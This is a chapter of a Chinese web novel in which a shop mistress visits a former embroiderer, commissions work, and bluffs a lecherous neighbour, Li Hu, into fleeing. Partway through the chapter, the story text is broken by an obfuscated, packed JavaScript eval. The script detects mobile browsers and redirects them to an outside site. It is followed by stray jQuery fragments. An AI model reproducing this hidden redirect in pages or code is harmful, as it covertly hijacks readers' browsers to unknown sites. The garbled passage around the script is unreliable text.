默认冷灰
24号文字
方正启体

4. 斗无赖

作者:栗粒大王本书字数:K更新时间:
    “小娘子,匣子安置好了,现在起身去铺里吗?”宋且安身侧传来气喘吁吁的声儿。


    摆手拒绝:“今日铺中事务我已让阿言代劳,你我同去寻周大娘便是。”


    冬词不解,嘲骂道:“您还去找这老婆子作甚,铺中有难她可是第一个卷铺盖走人的!端的一点儿情面也不顾....”


    方欲续言,宋且安抬手覆上她的嘴,模糊的单个音节被堵在口中。


    “莫要再这么说,是我们对不住她老人家。”她眸子一黯,别过脸去。


    周大娘今年虽已过花甲,却是铺里最厉害的绣娘。本应在家里享受天伦之乐,可其子战死沙场,孙儿染上重疾,家内仅余她和她儿媳二人,这才只能出来讨个营生。


    奈何前些日子与其他伙计一道儿走了,也不知现如今可还好。


    宋且安依稀记得大娘家在镇西春醒河下游,先渡过木桥到另一旁,再绕过河前的檀树树便能见着院落。


    说来容易,可真在此瞧上几眼,却只有膛目的份儿。


    哪有劳什子的檀树,就连岸边都无半株树影,剩零星几丛野草伏在地上。


    环顾四周,远远瞥见挑扁担的老朽走过,她借机跑上前,“您老可知这附近有无人家门口种檀树吗?”


    老朽短暂一怔,“老夫仅是途径此地,对周遭不太熟悉,小娘子还是去别处问问吧。”


    宋且安谢过,侧首回望,恰逢与一双眼睛对视,四目相对间那人率先开口:“哎,安娘子?”


    此人头上裹着块花青头巾,几缕半白的发丝从布中钻出。眸子却亮的惊人,微张的嘴也忘了合上。


    正是所寻之人。


    周大娘三步上前,语调带着惊讶和欢喜:“您怎会在这?刚刚瞧过来还以为是老身眼花,没曾想竟真是您。”


    “您近来可好?”她展颜笑道,“今日前来是有事想请您帮忙,不知您可否有空?”


    “托安娘子的福,素来安好!有何事不如您与老身一道儿去屋子里说吧。”说罢,指向不远处的草屋。


    引路往前走,二人缓步在泥路里。


    见状宋且安问出心中疑虑:“您这门前的檀树哪去了,年前不还好端端载在岸边吗?”


    周大娘闻言脸色僵住,无奈的叹息从她口中传出:”这树半年前被边上的李家伐了去,说是挡着他家财运。他们这一家......真是作孽哟!”


    中间的话语格外轻,几个单音含糊的淌过去,后又艰难地吐出几个字,低声骂道。


    “您不必介怀旁人恶行,奸邪之徒,终会难逃报应。”握住其冰凉的手轻声安慰。


    半盏茶的功夫,在一间草屋门外停下。


    眼角余光瞧见院子土垣的墙皮,尽管有些脱落,但打扫的干干净净,连带墙角的蛛网也一并清去。


    视线移至左右,东角搭着菜棚,几颗绿油的青菜冒出头,仔细瞧还能见叶上晨露。西边的窗框上系起的麻绳一路延到院中的矮树枝干,几件洗的泛白的短揭晾在绳上,被阳光照的发热。


    虽看着有些清贫,却比富丽堂皇的宅院更叫人觉得踏实。


    宋且安轻松的叉腰点头,心中的担忧散去。


    “欢儿,快些出来。”


    周大娘朝屋里喊,要时一位娘子素手撩过门帘,脸上挂着笑意,“娘,您回来了。”


    转时瞥见边上的身影,紧走几步上前,局促的将手往围腰上擦,


    “娘,这位是?”


    ”这就是时锦阁的安娘子!”曾大娘放下篮子道。


    此言激得这位欢娘子霎时说不出半分话,欲语泪先流:“多谢您救奴家小儿性命,此恩没齿难忘。”


    顺势身子一软,膝盖微屈,似要跪下。


    宋且安忙不迭抢上半步,伸手扶起臂弯,生生将往下沉的力道截住,


    “莫要如此,有何事慢慢说。”


    欢娘子抽泣点头,手背擦过眼睛,声音断断续续地招呼她坐下。


    院内几人坐定,周大娘双手紧握拳,嘴上倏地闪烁其词起来:“安娘子,是老身对不住铺子,但实在是没法子了.....”


    后深呼气像下定什么决心般,一气儿说道:“老身的孙儿前些日子高烧不退,郎中来瞧,说是染了温病。若在烧下去,难恐醒来会变成痴儿,可这药钱,足足要一千文。”


    “老身唯有拿着铺子里遣散的厚给贴补,连带家中的积蓄给孙儿争一条活路啊!”边哽咽边痛心地捶胸。


    宋且安眼眶悄悄变得湿热,


    “您不必这么说,这实在是不得已的难处。您在时的几月里给铺子帮了不少忙,反倒是我们要感谢您。为此事离去,吴姨从不曾介怀。”


    述毕,在腰间解开钱袋放于桌上,推向对面二人跟前。


    欢娘子颤着手又推了回去,“万万不可,您与夫人已是仁慈义尽,我们怎么还能再拿钱财。”


    “这就是小女想找周大娘的原因。”宋且安从冬词手中接过行囊,取出半大的软缎铺在桌上,“这样的图案您能绣吗?”


    缎子上赫然是昨晚绘的爰居图。


    周大娘拿起缎子细细瞧上几眼,“当然可以,不知您想怎么绣?”


    宋且安先不语,手中擎起行囊中一把小巧的剪子,将软缎上下一分为二。


    “这是做什么?好好的料子怎说剪就剪了。”周大娘瞳孔放大。


    “根据这两块缎布上的图,做两个款式各一的香囊,您看成吗?”她不紧不慢的将行囊中所有的缎子一齐拿出,徐徐道来,“挑了些料子,您先用着。若是效果都不好,小女在托人送来。”


    大娘点头答应,须臾迟疑开口:“自然是能做的,这布料瞧着也是顶好,只是这佣钱属实是忒多了些。”


    “无事,小女看欢娘子将家中收拾的井井有条,想必也是个蕙质兰心之人,这钱就是您与她统共的工钱。”


    周大娘大喜,拉着欢娘子福身:“老身与子妇定竭尽所能!”


    “欢美人儿,老子来找你了!快给爷开开门。”这粗鄙的叫喊声顿时浇灭了院中暖意。


    宋且安警觉站起,忽瞄见欢娘子的手不易察觉的抖动起来,整个人敛声屏气不敢动弹,脸色苍白如纸。


    外面的人见里头无人搭理,更加猖狂的大放厥词:“老子今晚好好疼你!”


    周大娘面孔骤冷,抓起墙角的笤帚猛地打开门,将扫帚头狠狠敲在登徒子身上,“李虎!怎又是你这狗贼,快滚!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276349|182437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    李虎措不及防吃痛叫骂,被打的往后踉跄,好不容易站住脚跟,“我说你这老寡妇怎这么不识好歹?你儿子可是死了,难不成想让儿媳和你一样打光棍?”


    大娘被恼的气性翻涌直上,哆哆嗦嗦指着他:“你,你。”


    “呸,休要胡言辱人!你们李家一窝子烂肠痈,十里八乡都传遍那些腌臜事了,也配提我爹娘?”屋内冲出一个小郎,脸涨得通红,手拿菜刀指向他,“再敢来我就砍了你。”


    欢娘子将这小郎护在身后,回头斥道:“谁叫你出来的,快回屋里去。”


    这无赖满脸的横肉挤在一起大笑,举起手不以为意地指脸。“来,往这砍。老子今后可是要当你爹的,看我打不死你!”


    “李虎。”宋且安举步上前。


    李虎斜乜着眼瞧见她,瞬间嘴角勾出油腻的笑容,黑漆漆的牙露在外面,发出“嘿嘿”的声儿,目光像黏腻的蛇般缠上她,“哟,还有个更美的小美人。不如二女侍一夫吧?哈哈哈哈”


    身旁冬词听了气得咬紧后槽牙,攥紧拳头就要扑上去,却被拽住。


    宋且安垂着眼皮嗤笑,轻蔑地问:“你可知,你半年前伐的檀树价值几钱?若我报官,你该当何罪!”


    “几...几钱?”李虎被问住,语气不再如此坚定。


    “不贵不贵。”她薄唇微抿,眨眼轻笑,故意停几秒道,“百两金而已。”


    笑容收住,脸色修地阴沉,“也就是你这狗杂碎不吃不喝八辈子还赚不到的钱!”


    语调像结了冰的湖面。


    话尚未毕,李虎把头往怀里缩了缩,对着她斩钉截铁的面色,心里不免发怵。


    嘴里嗫嚅,小声嘀咕:“奇怪,张四不是说这只是值八百文普通木材么?”


    原是心虚气短,可这话却又提醒了他,顿时仿佛抓住救命稻草般,梗着脖子将声音拔高:“老子凭什么信你!”


    “料你这种人也未必晓得。”她目露鄙夷睨睇了他一眼,“你伐它的时候,没瞧见纹理呈牛毛状么?此木是宫廷用材小叶紫檀,乃‘帝王之木’。”


    李虎开始细细回想,心慌意乱间跌坐在地,额头冒出细密的冷汗。


    那木头中心的纹理的确很奇特,他砍时还故意多看两眼,确实如她所说的这般。


    莫不是真的如此?


    宋且安乘胜追击,步步紧逼,


    “连县令都不敢砍的树,如今被你这泼皮私吞了去,你可得好仔细自己的皮。”


    从高出往下睨,“不过你的好友倒是个聪慧的,罚一律让你这夯货受,他倒是置身事外,日进斗金。”


    “还不快滚!”


    李虎连滚带爬跑出院子,面目狰狞地咬牙切齿,嘴中低骂张四的名字往镇北逃去。


    “小娘子,您真厉害,这都晓得!”


    冬词两眼放光,竖起大拇指连声称赞。


    宋且安绷着的脸终于缓和下来,身子似被抽干般跌坐椅上。


    抓起桌上的水杯往嘴上凑,喝的太急,半口呛在喉咙里,“咳咳咳...那就好,连你也没瞧出我是胡诌的,那泼皮无赖更不会深究了。”


    “什么!”


    在场几人齐声叫道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)